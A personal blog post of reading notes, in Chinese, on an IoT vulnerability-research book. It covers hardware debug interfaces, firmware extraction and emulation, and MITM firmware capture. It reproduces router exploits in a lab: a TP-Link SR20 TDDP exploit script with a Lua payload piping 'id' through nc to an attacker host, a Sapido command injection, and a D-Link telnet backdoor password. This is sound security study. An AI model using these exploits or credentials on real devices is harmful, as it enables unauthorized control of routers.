《物联网安全漏洞挖掘实战》读书笔记

 今年暑假打算读两本书：《物联网安全漏洞挖掘实战》与《C++反汇编与逆向分析》。这本比较薄，就先读这个，跟着做做实验。

 随书附件并不全，我这里丰富了一下。

0x00 物联网设备硬件分析

 首先，我们要知道物联网设备一般是由什么组成的。

 在这里不说电压、电流、电阻、电容了，高中物理都学过。主要补充一下晶体管，其常见用处为：电流放大器（接收小电流并放大输出）。

 那我们要用个人PC调试物联网设备，就必须在物联网设备与PC之间建立通信。常见的通信方法如下所示：

（1）通用异步收发传输器UART。负责串行数据与并行数据转换，主机与设备之间的通信。发送端UART将CPU的并行数据转为串行形式，接收端UART又转回并行。UART传输的数据组成数据包，其结构如下：

1

|起始位（1B）|数据位（5B-9B）|奇偶校验位（0B-1B）|停止位（1B-2B）|

 为了方便调试，UART引脚都会在PCB上。引脚连接方式为：

（2）联合测试工作组JTAG。芯片内部专门封装了测试访问端口TAP，使用专门的JTAG测试工具可以进行测试。其所需的引脚比UART多。

 如果要用UART方法对设备进行调试，那么我们首先要找到PCB板上的：Rx|Tx|GND|VCC引脚。如果没有丝印的话，我们就需要使用万用表等设备来识别这4个引脚。使用万用表可以很容易的找到GND|VCC，GND的电压为0，VCC的电压为3.3V。之后，使用JTAGulator（识别引脚的硬件），将设备引脚与JTAGulator相连，将JTAGulator连到PC上。最后，使用软件SecureCRT与JTAGulator交互，使用命令u即可识别。（未实验，没有硬件呜呜）

 之后，我们要识别设备的波特率（数据的传输速率），只有波特率一致，通信双方才能得到准确数据。按上一段的方法做，就可以得到波特率。也可以使用CH340转换芯片来识别。CH340功能为USB与UART串行接口（即TTL）的转换。

 最后，我们可以进行调试。使用CH340芯片，将CH340的RX|TX|GND连到物联网设备的TX|RX|GND，并将CH340使用USB连到PC，之后配置软件SecureCRT，就可以看到输出数据。

 作为设备提供商，我们肯定不想让别人调试我们的设备，因此要对我们的设备做一些防护：

（1）去掉丝印，关闭UART、JTAG调试接口。

（2）存储芯片保存着设备的好多敏感信息，出厂前对存储芯片做加密。

0x01 物联网固件分析

 首先，我们要知道，什么是固件？

 固件是系统最基础、最底层的软件，其决定了硬件设备都有什么功能。固件可以当作物联网设备的操作系统，执行控制、监视与数据处理的功能。

 固件中比较重要的部分是文件系统。用户在使用文件系统保存数据时，无需关心数据保存在硬盘的哪个数据块中，只需要记住文件所属目录与文件名即可。因此，文件系统实际上是管理硬盘的软件系统。

 文件系统的种类如下：

 在分析固件之前，我们如何拿到固件呢？最简单的方法是直接从官网下载。但是有的厂商并不在官网上提供固件下载功能，此时可以用流量拦截的方法获得固件。大概做法是：在设备升级时，对设备进行流量代理转发，来实施中间人（MITM）攻击。具体步骤如下（由于书中并未给需要升级的固件样本，因此也无法复现orz）：

（1）在kali上启动ip转发功能（将数据包从某端口转发到另一端口）：

1

sysctl -w net.ipv4.ip_forward=1

（2）使用ettercap进行ARP攻击。

 （a）ettercap -G启动ettercap，并在配置界面选择当前网卡。

 （b）查找本网段所有设备的ip与mac。

 （c）将本网络网段地址（例如192.168.1.1）添加到Target1，将要欺骗的IP地址（例如物联网设备/也可以是物联网APP端的IP为192.168.1.100）添加到Target2。

 （d）在选项栏找到ARP poisoning并点击，并选择sniff remote connection。这样的话物联网设备的流量就可以转发到kali虚拟机上。

 （e）在kali上运行tcpdump -i eth0 -A -w catch.pacap -vv，-A代表以ASCII文本形式输出抓包内容，-vv则是输出详细的调试信息，包括源IP、目的IP等。之后，在物联网设备上点击固件升级，就可以抓到包。

 （f）使用wireshark分析一下，就可以找到下载固件的网址。

 还有一种获得固件的方法，就是使用编程器（可编程的集成线路，可以修改只读存储器中的程序）从物联网设备的闪存中读取固件。例如使用RT809F编程器，连接到物联网设备芯片上，并使用配套软件读取设备的固件。

 此外，还可以通过调试来提取固件。如果设备提供了调试串口，那么我们就可以通过串口进入shell/U-Boot，并进行固件提取。具体步骤如下：

（1）PC端打开minicom（类似于SecureCRT的工具），配置好调试的接口与波特率，并监听串口。

（2）使用某些快捷键，可以进入U-Boot模式（具体看书P53）。U-Boot中可能会有mem|flash指令。mem可以显示内存中指定位置的数据，并将内存中的数据进行dump。而flash -layout指令可以查看闪存的布局情况。

（3）使用flash -read命令将闪存中的固件读取到内存的某个位置，最后使用mem -dump将已保存到内存中的固件保存到.bin文件中。

 提取好固件之后，我们就要对固件进行分析。固件中包含BootLoader、内核、文件系统以及其他内容。其中文件系统包含程序源码等，我们要重点研究。

 我们可以通过文件系统的签名来提取出固件中的文件系统，也可以使用binwalk来提取文件系统。

 首先介绍通过签名来提取文件系统的方法。不同的文件系统使用的签名是不同的，如下表所示：

 上述签名中，sqsh/hsqs分别表示大端/小端文件系统，sqlz是LZMA压缩过的大端文件系统，hsqt/shsq分别表示DD-WRT（开源的第三方固件）/D-Link常用的小端文件系统。

 以D-Link路由器中的SquashFS文件系统为例子，来提取其文件系统。

（1）在固件中检索签名字符串。例如，查找到字符串hsqs在地址0x00150094处。

1

hexdump -C iot.bin | grep "sqsh\|hsqs\|sqlz\|qshs\|hsqt\|shsq"

（2）提取固件。其中，if为输入文件，bs为输出大小，of为输出文件名。

1

dd if=iot.bin bs=1 skip=1376404 of=iot1

（3）使用file iot1查看解压出来的文件系统是否正确。

（4）运行unsquashfs iot1提取出整个文件系统（使用随书文件的DIR822C1_FW303WWb04_i4sa_middle.bin）。

 使用binwalk提取文件系统则较为简单。

1
2

binwalk iot.bin // 查看固件的详细信息
binwalk -Me iot.bin // 提取文件系统，-M代表递归分解扫描出来的文件，-e代表按照定义的配置文件中的提取方法从固件中提取文件系统

 提取完文件系统之后，就是要分析文件系统。可以使用firmwalker脚本来分析文件系统，也可以使用trommel（感觉trommel更精细）。

 某些工具提供了更先进的功能，例如emba/FACT可以自动分析固件，具体说明看书P71左右。emba安装了两天，其中的cve-search总是按不好，最终终于搭建好了，总体感觉emba是一个很可以全面的固件分析工具，无需提取出文件系统。而FACT则是一个图形化分析工具，也是无需提取出文件系统。最后是都搭好了，花了3天。

 我们有的时候需要运行固件，但是没有钱买相应的设备，此时我们可以使用软件来对固件进行模拟。我们可以使用很多种软件进行模拟：

（1）qemu模拟。qemu有两种运行模式：用户模式/系统模式。用户模式可以运行模拟运行某些程序，而系统模式则是模拟了一个计算机系统（ctf经常搭建的那种）。除了能够模拟不同硬件架构下应用程序的运行环境之外，也能使用调试模式来调试程序。

 物联网设备的处理器架构有ARM与MIPS两种。MIPS是一种精简指令集的处理器结构，分为mips（大端模式）与mipsel（小端模式）。书中以上面解压的文件系统为例，使用用户模式运行了/bin/busybox，使用系统模式运行了此文件系统，具体步骤见书P80，这里就不具体说了，主要是操作。

（2）Firmware Analysis Toolkit（FAT：固件分析工具集）。FAT是一个自动化脚本，其底层是qemu。非常简单，直接python fat.py firmware_name即可，但是我搭好了之后它一直卡在Extracting the firmware...环节。

（3）FirmAE也是一种模拟方法，它并不是模拟硬件环境，而是会分析固件仿真失败的原因，并给出一种通用的解决方法。因此，并不是每次硬件模拟都一定成功（可能没有给出解决此硬件的方法）。

 如今，大多数的厂商会对固件做加密，这样的话前面所讲的提取文件系统的方法就会失效。固件的加密方式一般有3种：

（1）如下图所示。此时可以在v1.1中提取解密程序，对v1.2进行解密。

（2）如下图所示。此时可以提取v1.2中的新版解密程序，对v1.4进行解密。

（3）如下图所示。此时很难提取出固件。此时可以通过购买设备，通过串口调试，尝试从硬件中提取出固件。

 举一个例子来说明。在链接中下载D-Link DIR-822-US路由器3.15B02的固件，使用binwalk iot.bin -E查看熵，发现接近1，因此这是加密的固件。从此固件的文档中，可以发现：

 其是由v303WWb04_middle升级而来的。因此，我们下载v303WWb04_middle固件（并未找到，是在随书资源中找的）。此固件并未加密，可以使用binwalk提取文件系统。

 由于v303WWb04_middle的作用是升级，因此我们搜索此文件系统中的update|firmware|upgrade|download等字符串，命令如下：

1

grep -rEl "update|firmware|upgrade|download" squashfs-root

 -r表示迭代搜目录，-E表示启动正则表达式，-l代表输出文件名。

 其中，重点关注StartFirmwareDownload.php文件。

 查看文件，发现有：

 上述代码运行逻辑为：

（1）将/etc/config/image_sign文件中的内容读取到了$image_sign中。

（2）将encimg -d -i $fw_path -s $image_sign > /dev/console命令写入了一个名为$ShellPath的文件中，此命令的作用是使用encimg对某个文件进行解密，并将解密后的内容输出到控制台。

 查看/etc/config/image_sign的值，为wrgac43s_dlink.2015_dir822c1。

 接下来查找encimg文件，其路径在文件系统的usr/sbin中。查看encimg的信息：

可以使用qemu的用户模式模拟运行此文件。

1
2
3
4

# 将which qemu-mips-static放到要模拟的文件系统根目录下
sudo cp $(which qemu-mips-static) ./squashfs-root 
# 意思是将文件执行根变为squashfs-root，用qemu-mips-static运行./usr/sbin/encimg。
sudo chroot ./squashfs-root ./qemu-mips-static ./usr/sbin/encimg -d -i ./DIR822C1_FW315WWb02.bin -s wrgac43s_dlink.2015_dir822c1

 其实，这个例子是上述第2种情况。其实现的根本是未加密的中间固件使用的解密程序与升级后的固件使用的解密程序相同。此时查看熵，发现已经不全接近1。如下图所示：

 当前，厂商大多从两个方面保护固件：

（1）使用只读文件系统（例如SquashFS），防止攻击者篡改运行时的系统。

（2）固件升级的时候，有时通过流量拦截获取固件。这是因为，固件在传输过程中未加密（未使用HTTPS），且固件包的名字也未混淆。可以在这两方面进行安全性加强。

0x02 物联网固件漏洞利用

Sapido RB-1732路由器命令执行漏洞

漏洞成因分析

 该漏洞产生的原因是：服务器（指的是路由器）的syscmd.asp页面没有对传来的参数进行过滤，因此用户可以以参数的形式将系统命令发送给服务器，并在服务器上执行。

 由于官网链接无效，找来找去只找到RB-1732_TC_v2.0.43.bin，我会放到我的github中。

（1）使用binwalk解压缩，得到文件系统。

（2）找到sycsmd.asp的位置，发现在./squashfs-root/web下，并查看源代码：

 可以发现，当用户提交表单时，浏览器将会向这个/goform/formSysCmd发送 POST 请求，并将表单数据发送到服务器，且定义了一个name=formSysCmd。搜索字符串formSysCmd，可以发现：

 在asp中的文件大多是定义form，且并没有/goform/formSysCmd，因此我们猜测这个文件被集成到了/bin/webs中。

（3）使用ida分析/bin/webs，可以找到formSysCmd函数：

 可以发现，sysCmd中的数据传给了v3，v3又传给了v20，然后直接运行v20，并未做过滤。因此导致了命令执行漏洞。

漏洞复现

 一开始用FAT与FirmAE都能正常启动，但是用浏览器访问就访问不到，最后才发现是ubuntu代理配置的原因。

Step1：访问主页面，使用admin/admin登录。

Step2：直接访问http://192.168.1.1/syscmd.asp，可以进行命令执行，发现：

TP-Link Smart Home Router远程代码执行漏洞

TP-Link Smart Home Router背景

 TP-Link Smart Home Router（SR20）路由器是一款同时支持Zigbee与Z-ware的物联网协议，是可触屏的路由器。此路由器使用TP-Link设备调试协议（TDDP）。

 下面来介绍一下TDDP协议：

 TDDP是TP-Link自研的协议，运行在UDP的1040端口上，此协议的v1版本存在远程代码执行漏洞。由于TDDP v1不存在验证功能，因此向SR20的UDP 1040端口发数据时，SR20都会接收并进行验证。TDDP数据包的格式如下：

 上述图片来源于此链接。

漏洞成因分析

 此固件是随书资源。

 漏洞点在于：如果发送的TDDP的数据第2字节为0x31，SR20就会连接发送该请求的设备的TFTP服务，并下载相应的文件，并以root权限执行此文件。

 下面开始一步一步分析漏洞成因：

（1）使用binwalk提取文件系统，并搜索与TDDP相关的二进制程序，发现./usr/bin/tddp程序。

（2）分析tddp主函数，如下：

 其中，sub_16418函数会循环执行，猜测tddp一直循环，直到收到一个数据包。因此猜测sub_16418是处理包的函数，跟踪此函数：

 上图第1个红框代表接收数据，并保存在a1+0xB01B中。而第2个红框则是判断数据的第1个字节，也就是tddp版本是否为1。可以猜测，sub_15E74是关键函数，因为其不仅在v2==1条件下，而且参数中有刚接收到的数据包。因此，跟进sub_15E74：

 可以发现，其是一个switch case的结构，由于a1+0xB01C代表数据包的第2个字节，当第2个字节为0x31时，运行sub_A580函数，跟进此函数：

 跟进一下sub_91DC函数：

 表示调用cd /tmp; tftp -gr file 192.168.x.x指令，从发送者ip（192.168.x.x）中下载名为file的文件。

 接着看sub_A580函数，发现：

 表示运行刚刚下载下来的名为file的脚本。

漏洞复现

 我们查看此固件的架构（查看提取出的文件系统中任意一个可执行文件的架构）：

 发现是32位的ARM架构。

 准备使用qemu模拟：

Step1：下载模拟所需的debian操作系统磁盘映像文件（debian_wheezy_armhf_standard.qcow2），linux内核映像文件（initrd.img-3.2.0-4-vexpress），linux内核可执行文件（vmlinuz-3.2.0-4-vexpress）。

Step2：配置虚拟网卡，使得虚拟机与物理机可以进行通信。

1
2

sudo tunctl -t tap0 -u username  // 配置虚拟网卡
sudo ifconfig tap0 10.10.10.1/24 // 网卡的网段 

 启动qemu-arm虚拟机：

1
2
3
4
5
6

qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic  # 不加的话就不出错，不知道为啥

 以root/root登录系统，并设置qemu虚拟机的ip地址：

1

ifconfig eth0 10.10.10.2/24

 通过wget下载宿主机上打包好的squashfs-root。并切换根路径（切换到squashfs-root下）：

1

chroot ./squashfs-root sh

 由于qemu虚拟机要通过tftp下载宿主机上的文件，因此需要在虚拟机（本来就有此服务）和宿主机中安装tftp。

1

sudo apt install atftpd # 宿主机上安装

 虚拟机中启动./usr/bin/tddp，此时qemu虚拟机将等待宿主机发包。

 修改宿主机中tftp的配置（/etc/default/atftpd）：

 上述配置代表关闭守护进程，且文件默认下载目录为/tftpboot。并在宿主机中启动tftp服务：

1

sudo systemctl start atftpd

Step3：创建/tftpboot/payload文件（lua脚本），并写入：

1
2
3

function config_set(config)
	os.execute("id | nc 10.10.10.1 1337")
end

 当qemu虚拟机下载并执行此脚本时，会将自己的id信息发送给宿主机的1337端口。并且在宿主机上运行nc -lnvp 1337监听此端口发来的消息。

Step4：之后，宿主机上运行下面的脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# exp.py
# python3 exp.py 10.10.10.2 payload
import sys
import binascii
import socket

port_send = 1040
port_receive = 6100
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
# 表示 "0000000000000000"
tddp_padding = "%0.16X" % 0
# 按照tddp_v1格式构建packet
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
# 定义接收的socket
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# 定义发送的socket
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
# 收取消息
resp, addr = sock_receive.recvfrom(1024)
r = resp.encode('hex')
print(r)

Step3：但是我没有复现成功，虚拟机显示：

 画一下实验流程图：

D-Link DIR-815后门漏洞

 此漏洞使得攻击者可以获得Telnet服务的账号密码，通过该账号密码可以登录该型号路由器的Telnet，并可以执行命令。

 与书中不同，我下载的是D-Link DIR-815 1.01，书中是D-Link DIR-815 1.02。此固件我也会放到github中。

漏洞原理

 由于原理比较简单，所以直接进行模拟：

Step1：使用binwalk提取文件系统，并使用firmwalker收集文件系统的信息：

Step2：跟进S80telnetd.sh。

 可以看到，telnet有账户Alphanetworks，其密码为/etc/config/image_sign，继续跟进，发现此文件内容为：wrgnd08_dlob_dir815ss。到此，发现厂商后门密码。

漏洞复现

Step1：使用FirmAE模拟此固件，固件模拟的ip地址为192.168.0.1。

Step2：在宿主机运行telnet 192.168.0.1，并登陆账号：

0x03 物联网协议安全

 由于物联网设备种类非常多，且会考虑到连接范围、电池寿命等因素，因此物联网中会组合使用多种通信协议。常用的通信协议有：RFID、ZigBee、低功耗蓝牙BLE等。由于本章的实验需要购买设备，所以我并未做此章的实验。

RFID

 RFID利用无线射频的方式进行非接触的双向通信，从而达到识别目标与数据交换的目的。RFID的读写速度快、无需接触，常见的RFID应用为公交卡、门禁卡、校园卡等。RFID的组成部分如下：

 RFID卡分为主动（有电池）和被动（无电池）两种。生活中大多数为被动RFID卡，此时RFID阅读器发送射频信号，RFID卡会获得能量，然后向RFID阅读器发送储存的信息，之后将信息发送给计算机控制系统处理。

 根据工作原理的不同，RFID卡分为3类：

 书中的例子是NXP Mifare S50，它是M1卡，可存储1024字节的数据，工作频率为13.56MHz。此卡与阅读器之间传输数据时，需进行3次认证：

 在此卡的具体实现中，由于其随机数产生器使用了LFSR，因此产生的随机数是可预测的，可以利用此发起嗅探攻击。

 进行RFID嗅探攻击时，需要用到Proxmark硬件工具，其可以允许用户读取、模拟、爆破大多数RFID协议。

ZigBee

 ZigBee是基于IEEE 802.15.4标准的近距离、低功耗、低速率、低成本的双向无线通信技术。其工作频段为：2.4GHz（全球）、868MHz（欧洲）和915MHz（美国），传输速率为250kbit/s、20kbit/s、40kbit/s。传输距离为10m-75m。802.15.4标准成为无线传感器网络领域的事实标准。

 IEEE 802.15.4标准包括物理层与介质访问控制层，并定义了两种类型的网络节点，分别为FFD（全功能设备）和RFD（缩减功能设备）。

（1）FFD可以创建网络、配置路由，并可以当作PAN协调器、路由器和终端设备。FFD可以与网络中的任何RFD或FFD通信。

（2）RFD是简单设备，缺乏路由能力，并且只能与FFD进行通信。

 ZigBee协议层分为：物理层、介质访问控制层、网络层、应用层。其中，物理层与介质访问控制层就是IEEE 802.15.4标准的物理层与介质访问控制层。

 设备可以当作PAN协调器、路由器和终端设备。

 PAN协调器：在网络中可以充当中心节点，每个网络中只有一个协调器，协调器负责维护关联设备列表、添加关联、解除关联等功能。协调器要始终处于活动状态，不可睡眠。

 路由器：具有路由功能。终端设备：没有路由能力，可睡眠。

 在ZigBee网络内，信任中心是被其他所有设备信任的某个设备上运行的程序。信任中心可以对加入网络的设备进行验证，为设备分配网络密钥，并且设备也需要从信任中心接收链接密钥。

 Zigbee中有两种密钥：

（1）网络密钥：被网络中的多个设备共享，仅在广播中使用。

（2）链接密钥：保护两个设备之间单播数据的机密性。

 当新设备加入网络时，需要先向信任中心请求加入，此时新设备与信任中心共享的链接密钥是默认的。因此，攻击者可以使用默认链接密钥请求加入网络。

 可以使用CC2531 USB Dongle硬件对Zigbee网络中的数据包进行嗅探，前提是需要知道网络密钥（可通过抓包获得）。

BLE

 低功耗蓝牙BLE是一种个人局域网技术，可用于智能手环等设备。与蓝牙相比，其功耗与成本更低。BLE与经典蓝牙有很大差异。

 BLE的协议栈如下：

 上图中重要的部分如下：

（1）属性协议ATT：定义了访问服务端设备数据的规则，数据存储在属性服务器的属性中，供属性客户端执行读写操作。

（2）通用蓝牙规范GAP：定义蓝牙设备的角色，定义蓝牙地址、蓝牙名称等。

（3）通用访问规范GAP：控制设备广播，决定了设备是否可以与交互设备进行通信。

 BLE中，有一个很重要的一类文件，叫做通用属性配置文件（GATT），它规定了如何通过BLE来交换配置文件与用户数据。所有标准的BLE配置文件都以GATT为基础。虽然ATT中定义了属性，但是GATT则提供了更精细化的属性。属性被分组为服务，服务可以有多个特征，不同的特征有不同的UUID，每个特征可以包括多个描述符。

 例如，智能手环有3中服务：提供设备信息、统计步数、监测心率。提供设备信息的服务中，有厂商信息、硬件信息等特征。在检测心率的服务中，有心率的特征。

 BLE设备之间的配对操作是加密的，但是特征中的值可以在不加密的状态下进行读写。我们可以对BLE设备的流量进行抓包，然后分析其中的GATT协议，并修改字段值，并进行重放。

 嗅探BLE协议数据包使用的是nRF53832芯片，重放操作使用的是Parani-UD100硬件，在此不做过多赘述。